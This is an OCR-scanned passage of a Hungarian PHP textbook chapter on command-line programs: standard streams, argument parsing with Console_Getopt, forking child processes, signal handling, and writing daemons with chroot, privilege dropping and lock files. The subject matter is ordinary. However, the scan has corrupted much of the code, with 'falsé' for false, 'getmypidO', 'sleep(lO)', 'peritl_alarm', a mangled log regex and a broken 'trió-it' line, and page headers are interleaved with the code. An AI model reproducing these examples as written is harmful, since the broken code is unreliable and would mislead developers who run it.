A PHP CLI-ben a fenti fájlleírókat a következő állandók segítségével érhetjük el:

• STDIN
• STDOUT
• STDERR

Ezen állandók használata egyenértékű azzal, mintha az adatfolyamokat saját kezűleg nyit-
nánk meg. (Ha a PHP CGI-változatát futtatjuk, ezt is kell tennünk.) Az adatfolyamok meg-
nyitásának módja a következő:

$stdin = fopen("php://stdin", "r");


$stdout = fopen("php://stdout", "w");
$stderr = fopen("php://stderr", "w");

Miért használjuk a STDOUT-ot?

Bár értelmetlennek tűnhet a STDOUT fájlleíróként való használata, amikor a print vagy az
echó paranccsal közvetlen kiírást is végezhetünk, valójában igen kényelmes. A STDOUT le-
hetővé teszi, hogy kimeneti függvényeket írjunk, amelyek egyszerűen adatfolyam erőforrá-
sokat kapnak, hogy könnyen válthassunk aközött, hogy a kimenetet a felhasználó termi-
náljára, HTTP folyamon keresztül egy távoli kiszolgálóra, vagy egy másik kimeneti adatfo-
lyamon át bárhová máshová küldjük.
5. fejezet • Megvalósítás PHP nyelven: önálló programok 131

A STDOUT hátránya, hogy nem használhatjuk ki a PHP kimeneti szűrőinek, illetve a kime-
net átmeneti tárolásának előnyeit, de saját folyamszűrőket bejegyeztethetünk
a streams_f ilter_register () függvénnyel.

íme egy rövid program, amely beolvas egy fájlt a stdin-ről, sorszámmal látja el a soro-
kat, az eredményt pedig a stdout-ra küldi:

#! /usr/bin/env php
<?php

$lineno = 1;
wh i l e ( ( $ l i n e = fgets(STDIN)) != falsé) {
fputs(STDOUT, "$lineno $ l i n e " ) ;
$lineno++;
}
?>

Ha a programot saját magán futtatjuk le, az alábbi kimenetet kapjuk:

1 #!/usr/bin/env php
2 <?php
3
4 $lineno = 1;
5 while(($line = fgets(STDIN)) != falsé) {
6 fputs(STDOUT, "$lineno $line");
7 $lineno++;
8 }
9 ?>

A stderr használata kényelmes módja a hibaüzenetek és nyomkövetési információk kül-


désének, mert a fogadó program a stdin-ről olvas, így nem olvassa be ezeket. Alább egy
olyan programot láthatunk, amely egy kombinált formátumú Apache naplót olvas be, és
jelentést ad a fájlban talált egyedi IP címek és böngészőtípusok számáról:

<?php
$counts = array('ip' => array(), 'user_agent' => array());
while(($line = fgets(STDIN)) != falsé) {
# Ez a szabályos kifejezés mezőről mezőre illeszti a napló sorait.
$regex = '/A(\S+) (\S+) (\S+) \[([A:]+):(\d+:\d+:\d+) ([A\]]+)\] '•
'•(\S+) (.*?) (\s+)" (\s+) (\s+) »([-'•]*)" "([""]*)"$/';
preg_match($regex,$line,$matches);
list(, $ip, $ident_name, $remote_user, $date, $time,
$gmt_off, $method, $url, $protocol, $code,
$bytes, $referrer, $user_agent) = $matches;
$counts['ip']["$ip"]++;
132 PHP fejlesztés felsőfokon

$counts['user_agent']["$user_agent"]++;
# Minden ezredik feldolgozott sor után kiírunk egy ' . ' jelet.
if ( ($lineno + + % 1000) == 0) {
fwrite(STDERR, ".");
}
}
arsort($counts['ip'] , SORT_NUMERIC) ;
reset($counts['ip']);
arsort($counts['user_agent'], SORT_NUMERIC);
reset($counts['user_agent' ] ) ;

foreach(array('ip', 'user_agent') as $field) {


$i = 0;
print "Top number of requests by $field\n";
print "------------------------------- \n" ;
foreach($counts[$field] as $k => $v) {
print "$v\t\t$k\n";
if($i++ == 10) {
break;
}
}
print "\n\n";
}
?>

A program úgy működik, hogy beolvassa a STDIN-ről a naplófájlt, minden sorát a $regex-
hez illeszti, hogy kinyerje az egyes mezőket, majd összegzést készít, megszámolva az egyedi
IP címekre, illetve az egyes böngészőkre eső kérelmek számát. Mivel a kombinált formátumú
naplófájlok nagyméretűek, ezer soronként egy pontot küldünk a stderr-re, hogy jelezzük,
hol tart a feldolgozás. Ha a program kimenetét egy fájlba irányítjuk, a jelentés oda íródik,
a pontok viszont a felhasználó képernyőjén jelennek meg.

A parancssori argumentumok feldolgozása


Ha egy PHP programot a parancssorban futtatunk, nyilvánvalóan nem adhatunk át argu-
mentumokat a $_GET és $_POST változókon keresztül (a CLI nem ismeri ezeket a web-
protokollokat). A parancssorban átadott argumentumokat ezért egy új autoglobális
változóban, az $argv tömbben találhatjuk majd meg.

Vegyük a következő programot:

#!/usr/bin/env php
<?php
print_r($argv);
?>
5. fejezet • Megvalósítás PHP nyelven: önálló programok 133

Tegyük fel, hogy így futtatjuk:

> ./dump_argv.php foo bar barbára

Ekkor ezt a kimenetet kapjuk:

Array
(
[0] = > dump_argv.php
[1] => foo
[2] => bar
[3] => barbára
)

Észrevehetjük, hogy az $argv [ 0 ] a futó program neve.

A beállítások (kapcsolók) közvetlenül az $argv változóból való beolvasása nem túl ké-
nyelmes, mert megköveteli, hogy azokat egy adott sorrendbe tegyük. A kézi feldolgozás-
nál hatékonyabb megoldást nyújthat a PEAR Console_Getopt csomagja, amely egysze-
rű felületet biztosít a parancssori kapcsolók könnyebben kezelhető tömbbé alakítására.
Az egyszerű feldolgozás mellett a Console_Getopt mind a rövid, mind a hosszú kap-
csolókat kezeli, és alapszintű ellenőrzéseket is végez, hogy a beállításokat biztosan
a megfelelő formában kapjuk meg.

A Console_Getopt úgy működik, hogy formázó karakterláncokat kap a várt argumentu-


mokhoz. Kétféle kapcsolót adhatunk át neki: hosszú és rövid kapcsolókat.

A rövid kapcsolók egy betűből és az esetleges adatokból állnak. A rövid kapcsolók formá-
tumleírója egy, a megengedett elemekből álló karakterlánc. A kapcsoló betűjét egy kettős-
pont követheti, amellyel azt jelezzük, hogy a kapcsoló paramétert igényel, illetve két ket-
tőspont, ami arra utal, hogy a paraméter nem kötelező.

A hosszú kapcsolók teljes szavak tömbjéből állnak (például --help). Ha utánuk egyenlő-
ségjel áll, azzal azt jelezzük, hogy a kapcsoló paramétert vár, ha pedig két egyenlőségjel,
a paraméter nem kötelező.

Ha azt szeretnénk, hogy egy program paraméterek nélkül elfogadja a -h és a --help kap-
csolókat, míg a --filé kapcsolót egy kötelező paraméterrel, az alábbi kódot kell írnunk:

require_once "Console/Getopt.php";

$shortoptions = "h";
$longoptons = array("file=", "help");
134 PHP fejlesztés felsőfokon

$con = new Console_Getopt;


$args = Console_Getopt::readPHPArgv();
$ret = $con->getopt($args, $shortoptions, $longoptions);

A getopt () visszatérési értéke egy tömb, ami egy kétdimenziós tömböt tartalmaz. Az első
belső tömbben találhatók a rövid kapcsoló argumentumok, míg a másodikban a hosszú
kapcsolók. A Console_Getopt: : readPHPARGV () segítségével az $argv változót is be-
vonhatjuk (ha például a php. ini állományban a register_argc_argv értéke of f).

Én a getopt () szokványos kimenetét némileg zavarosnak találom. Jobban szeretem, ha


a kapcsolók egyetlen, kulcs-érték párokból álló társításos tömbként jelennek meg, amely-
ben a kapcsoló neve a kulcs, értéke pedig a tömbérték. Az alábbi kódblokk ezt a hatást
a Console_Getopt használatával éri el:

function getOptions($default_opt, $shortoptions, $longoptions)


{
require_once "Console/Getopt.php";
$con = new Console_Getopt;
$args = Console_Getopt::readPHPArgv();
$ret = $con->getopt($args, $shortoptions, $longoptions);
$opts = array();
foreach($ret[0] as $arr) {
$rhs = ($arr[l] !== null)?$arr[1]:trió-
it (array _key_exists ($arr [0] , $opts)) {
if(is_array($opts[$arr[0]])) {
$opts[$arr[0]][] = $rhs;
}
else {
$opts[$arr[0]] = array($opts[$arr[0]], $rhs);
}
}
else {
$opts[$arr[0]] = $rhs;
}
}
if(is_array($default_opt)) {
foreach ($default_opt as $k => $v) {
if(!array_key_exists($k, $opts)) {
$opts[$k] = $v;
}
}
}
return $opts;
}
5. fejezet • Megvalósítás PHP nyelven: önálló programok 135

Ha egy kapcsolót többször adunk át, a hozzá tartozó érték az összes beállított érték tömb-
je lesz, ha pedig paraméter nélkül, a true logikai értéket kapja. A függvény alapértelme-
zett paraméterlistát is elfogad, amelyre akkor támaszkodik, ha nem adunk át mást.

A függvény használatával az előző példát (help) így írhatjuk át:

$shortoptions = "h";
$longoptions = array("file=", " h el p " ) ;

$ret = getOptions(null, $shortoptions, $longoptions);

Ha ezt a -h --f ile=error. log paraméterekkel futtatjuk, a $ret tömb szerkezete a kö-
vetkező lesz:

Array
(
[h] => 1
[ -- fi l é ] => error.log
)

Gyermekfolyamatok létrehozása és kezelése


A PHP nem tartalmaz natív támogatást a szálakhoz, így a Javához hasonló szálközpontú
nyelvek felől érkező fejlesztőknek nehéz olyan programokat írniuk, amelyek egyszerre
több feladatot végeznek el. Szerencsére nincs minden veszve: a PHP azzal támogatja a ha-
gyományos Unix-több feladatosságot (multi tasking), hogy lehetővé teszi a folyamatoknak,
hogy a pcntl_f ork () -on keresztül (ami a f ork () Unix rendszerhívást burkolja be)
gyermekfolyamatokat indítsanak. A szolgáltatás (és minden pcntl_* függvény) engedé-
lyezéséhez a PHP-t az --enable-pcntl kapcsolóval kell felépítenünk.

Amikor a pcntl_f ork () -ot meghívjuk egy programban, új folyamat jön létre, és a hívás
helyétől folytatja a program végrehajtását. Az eredeti folyamat ugyanonnan szintén folytat-
ja a végrehajtást. Ez azt jelenti, hogy a programból két futó példányunk lesz: a szülőiaz
eredeti folyamat) és a gyermek (az újonnan létrehozott folyamat).

A pcntl_f ork () tényleg kétszer tér vissza - egyszer a szülőben, egyszer a gyermekben.
A szülőben a visszatérési érték az újonnan létrehozott gyermek folyamatazonosítója (pro-
cess ID, PID), a gyermekben pedig 0. Ennek alapján különböztethetjük meg a szülőt
a gyermektől.
136 PHP fejlesztés felsőfokon

Az alábbi egyszerű program egy gyermekfolyamatot hoz létre:

#!/usr/bin/env php
<?php

if($pid = pcntl_fork()) {
$my_pid = getmypid() ;
print "My pid is $my_pid. pcntl_fork() return $pid, this is the
parent\n";
} else {
$my_pid = getmypidO;
print "My pid is $my_pid. pcntl_fork() returned 0, this is the
child\n";
}
?>

A program futtatása a következő kimenetet eredményezi:

> . / 4.php
My pid is 4286. pcntl_fork() return 42 87 , this is the parent
My pid is 4287. pcntl_fork() returned 0, this is the child

Észrevehetjük, hogy a pcntl_f ork () visszatérési értéke valóban a gyermekfolyamat


PID-je. Ezenkívül, ha a programot többször futtatjuk, megfigyelhetjük, hogy néha a szülő,
néha a gyermek ír először a képernyőre. Mivel különálló folyamatokról van szó, akkor
kapnak processzoridőt, amikor az operációs rendszer megfelelőnek találja, nem pedig
a szülő-gyermek kapcsolat alapján.

A megosztott erőforrások bezárása


Ha Unix környezetben leágaztatunk (fork) egy folyamatot, mind a szülő-, mind a gyer-
mekfolyamat hozzáfér minden fájlerőforráshoz, ami a fork () meghívásakor nyitva van.
Ez kényelmes módszernek tűnhet az erőforrások folyamatok közötti megosztására, de ál-
talában nem ez, amire szükségünk van. Mivel nincsenek vezérlési szerkezetek, amelyek
megakadályoznák az erőforrások egyidejű elérését, az eredményként előálló bemenet és
kimenet összekeveredhet. Fájlbemenet és -kimenet esetén ez többnyire a sorok összeke-
veredését okozza, bonyolult csatoló- (socket) I/O-nál - például adatbázis-kapcsolatoknál
- viszont egyszerűen a folyamat összeomlásával jár.

Mivel az említett hiba csak az erőforrások elérésénél jelentkezik, a védelemhez elegendő,


ha szigorúan szabályozzuk, hol és mikor férhetünk hozzájuk. Mindazonáltal biztonságo-
sabb és tisztább egyszerűen bezárni minden olyan erőforrást, amit közvetlenül a leágazta-
tás után nem használunk.
5. fejezet • Megvalósítás PHP nyelven: önálló programok 137

Változók megosztása
Ne feledjük: a leágaztatott folyamatok nem szálak. A pcntl_f ork () -kai létrehozott fo-
lyamatok önálló folyamatok, így a leágaztatás után az egyik folyamatban végrehajtott vál-
tozómódosítások nem tükröződnek a többi folyamatban. Ha változókat szeretnénk meg-
osztani folyamatok között, tárolásukra a megosztott memória bővítményeket vagy a 2. fe-
jezetben bemutatott „tie" trükköt használhatjuk.

Takarítás a gyermekek után


Unix környezetben a használaton kívüli vagy elhalt folyamatok olyan folyamatok, ame-
lyek befejezték futásukat, de állapotukról a szülőfolyamat nem értesült. (Ezt hívják a gyer-
mekfolyamat betakarításának (reaping).) Egy felelősségteljes szülőfolyamat mindig beta-
karítja a gyermekeit.

A PHP kétféle módszert ad a kilépő gyermekek kezelésére:

• pcntl_wait($status, $options) - A pcntl_wait () a hívó folyamatot arra


utasítja, hogy függessze fel futását, amíg minden gyermekfolyamat be nem fejező-
dik. A visszatérési érték a kilépő gyermekfolyamat PID-je, a $ status pedig a függ-
vény visszatérési állapota lesz.
• pcntl_waitpid($pid, $status, $options) - Apcntl_waitpid() hasonló
a pcntl_wait () -hez, de csak a $pid által meghatározott folyamatra vár.
A $status ugyanazt az információt tartalmazza, mint az előző függvény esetében.

Mindkét függvény $options változója egy nem kötelező bitmező, amelyben az alábbi
két paraméter egyike lehet:

• WNOHANG - Nem várunk, ha a folyamatinformáció nem azonnal elérhető.


• WUNTRACED — Információt adunk vissza azokról a gyermekekről, amelyek
SIGTTIN, SIGTTOU, SIGSTP vagy SIGSTOP jelzés következtében álltak le.
(Ezeket a jelzéseket a waitpid () normális esetben nem fogja el.)

íme egy folyamat, amely megadott számú gyermekfolyamatot indít, majd befejeződé-
sükre vár:

# !/usr/bin/env php
<?php

def ine('PROCESS_COUNT', '5');


$children = array();
f o r ( $ i = 0; $i < PROCESS_COUNT; $i ++) {
i f ( ( $ p i d = pcntl_fork()) == 0) {
exit(child_main());
}
138 PHP fejlesztés felsőfokon

else {
$children[] = $pid;
}
}

foreach($children as $pid) {
$pid = pcntl_wait($status);
íf(pcntl_wifexited($status)) {
$code = pcntl_wexitstatus ($status) ,-
print "pid $pid returned exit code: $code\n";
}
else {
print "$pid was unnaturally terminated\n";
}
}

function child_main()
{
$my__pid = getmypid () ;
print "Starting child pid: $my_pid\n";
sleep(10) ;
return 1; ^
?>

A példával kapcsolatban megjegyzendő, hogy a gyermekfolyamat által futtatandó kód tel-


jes egészében a child_main () függvényben található. Itt csak a sleep (10) utasítást
hajtjuk végre, de ezt összetettebb kódra is cserélhetjük.

Emellett ha egy gyermekfolyamat befejeződik, és a pcntl_wait () hívás visszatér, az ál-


lapotot a pcntl_wif exited () függvénnyel ellenőrizhetjük, hogy tudjuk, a gyermek
azért lépett ki, mert meghívta az exit () függvényt, vagy nem természetes halált halt.
Ha az előbbi történt, az exit ()-nek átadott kódot a pcntl_wexitstatus ($status)
hívással nyerhetjük ki. A kilépési állapotkódok 8 bites előjeles számok, így az érvényes
értékek -127 és 127 között vannak.

íme a program kimenete, ha futása nem szakad meg:


> . / 5.php
Starting child pid 4451
Starting child pid 4452
Starting child pid 4453
Starting child pid 4454
Starting child pid 4455
pid 4453 returned exit code: 1
pid 4452 returned exit code: 1
pid 4451 returned exit code: 1
pid 4454 returned exit code: 1
pid 4455 returned exit code: 1
5. fejezet • Megvalósítás PHP nyelven: önálló programok 139

Ha ahelyett, hogy hagynánk a programot normálisan befejeződni, saját kezűleg „megöl-


jük" egyik gyermekét, ilyen kimenetet kapunk:

> . / 5 .php
Starting child pid 4459
Starting child pid 4460
Starting child pid 4461
Starting child pid 4462
Starting child pid 4463
4462 was unnaturally terminated
pid 4463 returned exit code: 1
pid 4461 returned exit code: 1
pid 4460 returned exit code: 1
pid 4459 returned exit code: 1

Jelzések
A jelzések (signal) egyszerű utasításokat küldenek a folyamatoknak. Amikor a ki 11 héj-
paranccsal leállítunk egy folyamatot a rendszeren, valójában egy megszakítási jelzést kül-
dünk (SIGINT). A legtöbb jelzésnek van alapértelmezett viselkedése (a SlGINT-é például
a folyamat befejezése), de pár kivételtől eltekintve a jelzések elfoghatok és egy folyama-
ton belül egyéni módon kezelhetők.

Az alábbi listában a leggyakoribb jelzéseket soroltuk fel (a teljes lista a signal(3) súgóolda-
lon található):

Saját jelzéskezelőt úgy jegyeztethetünk be, hogy egyszerűen meghatározunk egy függ-
vényt, valahogy így:

function sig_usrl($signal)
{
print "SIGUSR1 Caught.Xn";
}
140 PHP fejlesztés felsőfokon

Ezután a bejegyzés így történik:

declare(ticks=l);
pcntl_signal(SIGUSR1, "sig_usrl");

Mivel a jelzések folyamatszinten érkeznek, nem pedig magán a PHP virtuális gépén belül,
a motort utasítani kell arra, hogy figyelje őket és futtassa a pcntl visszahívható függvé-
nyeket. Ehhez be kell állítanunk a ticks végrehajtási utasítást (direktívát). A ticks arra
utasítja a motort, hogy minden N utasítás után futtasson bizonyos visszahívható függvé-
nyeket. A jelzésvisszahívás lényegében üres utasítás, így a declare (ticks = l) azt
mondja a motornak, hogy minden végrehajtott utasítás után jelzést kell keresnie.

Az alábbiakban a többfolyamatos programok két leghasznosabb jelzéskezelőjét (SIGCHLD


és SIGALRM) írjuk le, illetve más szokványos jelzéseket.

SIGCHLD
A SIGCHLD szokványos jelzéskezelő, amit olyan alkalmazásokban állítunk be, ahol több
gyermeket indítunk. Az előző rész példáiban a szülőnek újra és újra meg kellett hívnia
a pcntl_wait () és pcntl_waitpid () függvényeket, hogy valamennyi gyermek be-
gyűjtéséről gondoskodhasson. A jelzések révén a gyermekfolyamatok befejeződésének
eseményéről értesíthetjük a szülőfolyamatot, hogy tudja, gyermekeket kell begyűjtenie.
A szülőfolyamat így saját logikát hajthat végre, nem kell, hogy csak várakozzon a gyerme-
kek begyűjtésére.

Először meg kell határoznunk egy visszahívható függvényt a SIGCHLD események keze-
lésére, íme egy egyszerű példa, amelyben eltávolítjuk a PID-et a globális $children
tömbből, illetve kiírunk némi információt arról, mit is csinálunk:

function sig_child($signal)
{
global $children;
pcntl_signal(SIGCHLD, "sig_child");
fput s(STDERR, "Caught SIGCHLD\n") ;
while(($pid = pcntl_wait($status, WNOHANG)) > 0) {
$children = array_diff($children, array($pid));
fputs(STDERR, "Collected pid $ p i d \ n " ) ;
}
}

A SIGCHLD jelzés semmilyen információt nem szolgáltat arról, hogy melyik gyermekfo-
lyamat fejeződött be, ezért meg kell hívnunk a pcntl_wait () -et, hogy megkeressük.
Mivel a jelzéskezelő hívása közben több folyamat is befejeződhet, a pcntl_wait () hí-
5. fejezet • Megvalósítás PHP nyelven: önálló programok 141

vasnak addig kell ismétlődnie, amíg nem marad futó folyamat, hogy biztosak lehessünk
benne, hogy mindet begyűjtöttük. A WNOHANG kapcsolót használjuk, ezért a hívás nem
akad el a szülőfolyamatban.

A legtöbb modern jelzésszolgáltatás visszaállítja a jelzéskezelőt a hívása után, de hogy régeb-


bi rendszereken is működjön, saját kezűleg is mindig vissza kell állítanunk a híváson belül.

Ha a SIGCHLD kezelőt az előző példához adjuk, a kód így fog festeni:

#!/usr/bin/env php
<?php

declare(ticks=l);
pcntl_signal(SIGCHLD, "sig_child");

define( 'PROCESS_COUNT', ' 5 ' ) ;


$children = array();

for($i = 0; $i < PROCESS_COUNT; $i++) {


if(($pid = pcntl_fork()) == 0) {
exit(child_main());
}
else {
$children[] = $pid;
}
}

while($children) {
sleep(lO); // vagy valamilyen szülőkód végrehajtása
}
peritl_alarm(0) ;

function child_main()
{
sleep(rand(0, 10)); // vagy valamilyen gyermekkód végrehajtása
return 1;
}

function sig_child($signal)
{
global $children;
pcntl_signal(SIGCHLD, "sig_child");
fputs(STDERR, "Caught SIGCHLD\n");
while( ( $ p i d = pcntl_wait($status, WNOHANG)) > 0) {
$children = array_diff($children, array($pid));
if (!pcntl_wifexited($status)) {
fputs(STDERR, "Collected killed pid $ p i d \ n " ) ;
}
142 PHP fejlesztés felsőfokon

else {
fputs(STDERR, "Collected exited pid $ pi d \n " );
}
}
}
?>

Ha a fenti kódot futtatjuk, az alábbi kimenetet kapjuk:

> ./8.php
Caught SIGCHLD
Collected exited pid 5000
Caught SIGCHLD
Collected exited pid 5003
Caught SIGCHLD
Collected exited pid 5001
Caught SIGCHLD
Collected exited pid 5002
Caught SIGCHLD
Collected exited pid 5004

SIGALRM
Egy másik hasznos jelzés a SIGALRM, a riasztó jelzés. A riasztások (alarm) lehetővé
teszik, hogy kihátráljunk egy feladatból, ha annak végrehajtása túl sokáig tartana. Riasz-
tás használatához meg kell határoznunk egy jelzéskezelőt, be kell jegyeztetnünk, majd
a pcntl_alarm() hívásával be kell állítanunk az időzítést. Amikor a megadott idő lejár,
a folyamathoz SIGALRM jelzés érkezik.

íme egy jelzéskezelő, ami végigfut a $children-ben maradt PID-eken, és (a Unix kill
héjparancsával egyenértékű) SIGINT jelzést küld nekik:

function sig_alarm($signal)
{
global $children;
fputs(STDERR, "Caught SIGALRM\n");
foreach ($children as $pid) {
posix_kill($pid, SIGINT);
}
}

Figyeljük meg a posix_kill () használatát. Ez a függvény a megadott jelzést küldi az


adott folyamatnak.
5. fejezet • Megvalósítás PHP nyelven: önálló programok 143

A SIGCHLD-kezelő mellett a sig_alarm() SIGALRM-kezelőt is be kell jegyeztetnünk, és


a következőképpen kell módosítanunk a főblokkot:

declare(ticks=l);
pcntl_signal(SIGCHLD, "sig_child");
pcntl_signal(SIGALRM, "sig_alarm");

define('PROCESS_COUNT', '5');
$children = array();

pcntl_alarm(5);
for($i =0; $i < PROCESS_COUNT; $i++) {
if(($pid = pcntl_fork()) == 0) (
exit (child__main () ) ;
}
else {
$children[] = $pid;
}
}

while($children) {
sleep(lO); // vagy valamilyen szülőkód végrehajtása
}
pcntl_alarm(0);

Fontos, hogy ne felejtsük el a riasztási időzítőt 0-ra állítani, amikor már nincs rá szükség,
másképp akkor is el fog indulni, amikor nem számítunk rá. A programot az említett mó-
dosításokkal futtatva az alábbi kimenetet kapjuk:

> . /9.php
Caught SIGCHLD
Collected exited pid 5011
Caught SIGCHLD
Collected exited pid 5013
Caught SIGALRM
Caught SIGCHLD
Collected killed pid 5014
Collected killed pid 5012
Collected killed pid 5010

Ebben a példában a szülőfolyamat a riasztást arra használja, hogy (a folyamatokat befejez-


ve) eltakarítson minden gyermekfolyamatot, amelyek túl sok időt vesznek igénybe.
144 PHP fejlesztés felsőfokon

Egyéb szokványos jelzések

Az említetteken kívül más jelzésekhez is szükség lehet kezelőkre; ilyen szokványos kezelők
a SIGHUP, a SIGUSR1 és a SIGUSR2. Ha egy folyamathoz e jelzések bármelyike érkezik, az
alapértelmezett viselkedés a folyamat befejezése. A SIGHUP küldésére akkor kerül sor, ha
a terminállal megszakad a kapcsolat (amikor a héj kilép). A héj háttérben futó folyamatai jel-
lemzően akkor fejeződnek be, amikor az adott terminál munkamenetéből kijelentkezünk.

Ha egyszerűen figyelmen kívül hagynánk ezeket a jelzéseket, az alábbi kóddal utasíthat-


juk erre a programot:

pcntl_signal(SIGHUP, SIGIGN);

Az említett három jelzés figyelmen kívül hagyásánál gyakoribb, hogy egyszerű parancsok
küldésére használjuk őket, például hogy a folyamat újraolvasson egy beállítófájlt, újból
megnyisson egy naplófájlt vagy valamilyen állapotinformációt írjon ki.

Démonok írása
A démonok olyan folyamatok, amelyek a háttérben futnak, ami azt jelenti, hogy ha egy-
szer elindultak, nem fogadnak bemenetet a felhasználó termináljáról, és nem lépnek ki,
amikor a felhasználó munkamenete befejeződik.

Elindításuk után a démonok hagyományosan „örökké" futnak (amíg le nem állítják őket),
hogy rendszeresen ismétlődő feladatokat hajtsanak végre, vagy olyan feladatokat, ame-
lyek nem érnek véget a felhasználó munkamenetével. Az Apache webkiszolgáló,
a sendmail, illetve a crond szokványos démonok, amelyek valószínűleg az olvasó gé-
pén is futnak. A parancsállományokból démonokat készíteni akkor célszerű, ha hosszú
vagy a háttérben ismétlődő feladatokat kell elvégeznünk.

Ahhoz, hogy sikeresen démont készíthessünk belőle, egy folyamatnak az alábbi két fel-
adatot kell végrehajtania:

• Folyamatelválasztás
• Folyamatfüggetlenítés

Egy jól megírt démon emellett a következőket is végrehajthatja:

• Munkakönyvtár beállítása
• Kiváltságok megszüntetése
• A kizárólagosság biztosítása
5. fejezet • Megvalósítás PHP nyelven: önálló programok 145

A folyamatelválasztásról már ejtettünk szót a fejezetben, amikor a gyermekfolyamatok lét-


rehozásáról és kezeléséről beszéltünk. A folyamatok démonná tétele hasonlóan történik,
de a szülőfolyamatot bezárjuk, hogy az egyetlen futó folyamat elváljon tőle. Ehhez végre
kell hajtanunk a pcntl_f ork () -ot, és kilépni, ha a szülőfolyamatban vagyunk (vagyis ha
a visszatérési érték nullánál nagyobb).

A Unix rendszereken a folyamatok folyamatcsoportokat alkotnak, ezért a csoport „vezető-


jének" kilövésével minden hozzá tartozó folyamat is befejeződik. Mindennek, amit egy
adott héjon belül indítunk, a héjfolyamat a szülője, ezért lehetséges, hogy létrehozunk
egy új folyamatot a f ork () -kai és semmi mást nem csinálunk, de a folyamat mégis véget
ér, amikor a héjt bezárjuk. Ahhoz, hogy ezt elkerüljük, a leágaztatott folyamatnak függet-
lenítenie kell magát a szülőjétől. Ezt a pcntl_setsid () meghívásával érhetjük el, ami
a hívó folyamatot saját folyamatcsoportjának vezetőjévé teszi.

Végül, ahhoz, hogy elvághassunk minden köteléket a szülő és a gyermek között, a folya-
matot még egyszer le kell ágaztatnunk; ezzel válik az elválasztás teljessé. Kódban mindez
így fest:
r-
if(pcntl_fork()) {
exit ;
}
pcntl_setsid();
if(pcntl_fork()) {
exit ;
}
# a folyamat most már démon

Fontos, hogy a szülő a pcntl_f ork () mindkét hívása után kilépjen, másképp több fo-
lyamat fogja végrehajtani ugyanazt a kódot.

A munkakönyvtár megváltoztatása
Amikor démont írunk, általában tanácsos beállítatni vele a munkakönyvtárát. így ha bár-
milyen fájlból relatív elérési úton keresztül olvasunk, vagy így írunk bele, az állományt ott
találjuk, ahol számítunk rá. Az elérési út minősítése önmagában is mindig jó ötlet, ahogy
a védekező kódolás is. A munkakönyvtár megváltoztatásának legbiztonságosabb módja,
ha nem csak a chdir (), hanem a chroot () utasítást is használjuk.

A chroot () a PHP CLI és CGI változatain belül is elérhető; a programot rendszergazda-


ként (root) kell futtatnunk. A chroot () a folyamat gyökérkönyvtárát a megadott könyv-
tárra változtatja, így lehetetlenné válik olyan fájlok végrehajtása, amelyek nem ebben
a könyvtárban találhatók. A programot biztonsági eszközként gyakran használják a kiszol-
gálók, hogy megakadályozzák, hogy valamilyen rosszindulatú kód fájlokat módosítson
a megadott könyvtáron kívül. Mindazonáltal észben kell tartanunk, hogy bár a chroot ()
146 PHP fejlesztés felsőfokon

megakadályozza az új gyökérkönyvtáron kívüli állományok elérését, a már megnyitott


fájlerőforrások továbbra is hozzáférhetők maradnak. Az alábbi kód például megnyit egy
naplófájlt, majd a chroot () meghívásával egy adatkönyvtárra vált, mégis képes sikere-
sen a megnyitott fájlba írni:

<?php

$logfile = fopen("/var/log/chroot.log", "w");


chroot("/Users/george");
fputs($logfile, "Hello From Inside The Chroot\n");

?>

Ha a chroot () használata nem elfogadható egy alkalmazás számára, a munkakönyvtárat


a chdir () meghívásával állíthatjuk be. Ez akkor lehet hasznos, ha a programnak olyan
kódot kell betöltenie, ami a rendszeren belül bárhol lehet. A chdir () nem akadályozza
meg a nem engedélyezett állományok megnyitását, csupán egyfajta jelképes védelmet
nyújt a hanyag kódok ellen.

A kiváltságok feladása
A Unix démonok írásakor szokásos biztonsági intézkedés, hogy megszüntetünk minden fe-
lesleges kiváltságot. A szükségtelen jogosultságok birtoklása ugyanolyan biztonsági kocká-
zatot jelent, mintha hozzáférnénk az adott területen kívül eső állományokhoz. Ha a kód-
nak (vagy magának a PHP-nek) van valamilyen kiaknázható gyengesége, a veszélyt azzal
csökkenthetjük a lehető legkisebbre, ha a démont azon felhasználó nevében futtatjuk, aki-
nek a legkevesebb jogosultsága van fájlok módosítására a rendszeren.

Ennek egyik módja, ha egyszerűen kiváltság nélküli felhasználóként futtatjuk a démont.


Ez azonban nem megfelelő, ha a programnak induláskor olyan erőforrásokat (naplófájlo-
kat, adatfájlokat, csatolókat stb.) kell megnyitnia, amelyek a kiváltság nélküli felhasználó
számára nem hozzáférhetők.

Ha rendszergazdaként tevékenykedünk, a kiváltságokat a posix_setuid () és


posix_setgid () függvényekkel adhatjuk fel. Az alábbi példában a futó program
kiváltságait a nobody nevű felhasználó jogosultságaira változtatjuk:

$pw= posix_getpwnam('nobody');
posix_setuid($pw[' u i d ' ]);
posix_setgid($pw['gid' ] ) ;

A chroot () -hoz hasonlóan a kiváltságok megszüntetése előtt megnyitott erőforrások itt


is nyitva maradnak, de újak nem hozhatók létre.
5. fejezet • Megvalósítás PHP nyelven; önálló programok 147

A kizárólagosság biztosítása
Gyakran lehet szükség arra, hogy egy programnak egyszerre csak egyetlen példánya fut-
hasson. Démon készítésekor ez különösen fontos, mert a háttérben futás miatt könnyű
véletlenül több példányt meghívni.

A kizárólagosság biztosításának szabványos módja egy fájl (általában egy kizárólag erre
a célra használt zárolófájl) zárolása az f lock () függvénnyel. Ha a zárolás nem sikerül,
a programnak hibaüzenettel ki kell lépnie. íme egy példa:

$fp = fopen("/tmp/.lockfile", " a " ) ;


i f ( ! $ f p II !flock($fp, LOCK_EX | LOCK_NB)) {
fputs(STDERR, "Failed to acquire lock\n");
exit ;
}
/* A zárolás sikerült, biztonságosan dolgozhatunk. */

A zárolásról részletesebben a 10. fejezetben ejtünk szót.

A tanultak összefoglalása: figyelőszolgálat


Ebben a részben összefoglaljuk a fejezetben eddig tanultakat, és egy alapszintű figyelő-
motort írunk PHP nyelven. Mivel nem tudhatjuk, milyen szolgáltatásokra lehet később
még szükségünk, igyekszünk olyan rugalmassá tenni, amennyire csak lehet.

A naplózónak támogatnia kell tetszőleges szolgáltatások (például a HTTP vagy az FTP) fi-
gyelését, és képesnek kell lennie arra, hogy az eseményeket tetszőleges módon (elektro-
nikus levélbe írva, naplófájlba rögzítve stb.) naplózza. Természetesen démonként szeret-
nénk futtatni, ezért tudnunk kell lekérdezni az aktuális állapotát.

A szolgáltatásnak a következő elvont osztályt kell megvalósítania:

abstract class ServiceCheck {

const FAILURE = 0;
const SUCCESS = 1;

protected $timeout = 30;


protected $next_attempt;
protected $current_status = ServiceCheck::SUCCESS;
protected $previous_status = ServiceCheck::SUCCESS;
protected $frequency = 30;
protected $description;
